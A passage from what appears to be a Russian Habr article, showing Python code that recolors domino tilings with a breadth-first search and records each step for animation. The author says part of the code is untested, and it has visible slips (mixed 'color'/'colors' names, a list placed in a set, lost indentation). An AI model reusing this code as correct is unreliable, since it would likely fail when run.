slices.append(draw_filling(result))
continue
# Начиная отсюда код я не тестировал, не нашел примера
c = 0
other = [other for other in domino_neighbours[domino] if colors[other] == c]
visited = set([other])
q = Queue()
q.put(other)
domino_was_reached = False
while not q.empty():
cur = q.get()
for other in domino_neighbours[cur]:
if other == domino:
domino_was_reached = True
break
if color[other] == c or color[other] == c + 1 and other not in visited:
visited.add(other)
q.put(other)
if not domino_was_reached:
for other in visited:
color[other] = color[other] ^ 1
for x, y in domino_tiles[other]:
result[x][y] = color[other]
color[domino] = c
for x, y in domino_tiles[domino]:
result[x][y] = c
slices.append(draw_filling(result))
continue
# Проделываем тоже самое для 2 и 3.
c = 2
other = [other for other in domino_neighbours[domino] if colors[other] == c]
visited = set([other])
q = Queue()
q.put(other)
domino_was_reached = False
while not q.empty():
cur = q.get()
for other in domino_neighbours[cur]:
if other == domino:
domino_was_reached = True
break
if color[other] == c or color[other] == c + 1 and other not in visited:
visited.add(other)
q.put(other)
for other in visited:
color[other] = color[other] ^ 1
for x, y in domino_tiles[other]:
result[x][y] = color[other]
color[domino] = c
for x, y in domino_tiles[domino]:
result[x][y] = c
slices.append(draw_filling(result))
return result, slices
```
Если вы собираетесь использовать этот код, то обратите внимание, что там происходит отрисовка каждого шага — это было нужно для анимации, что сильно замедляет алгоритм. Если вам нужна только конечная покраска, то уберите весь код, задействующий переменную slices.
Ну и наконец попробуем один из примеров, который был чуть раньше
 | https://habr.com/ru/post/501008/ | null | ru | null |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.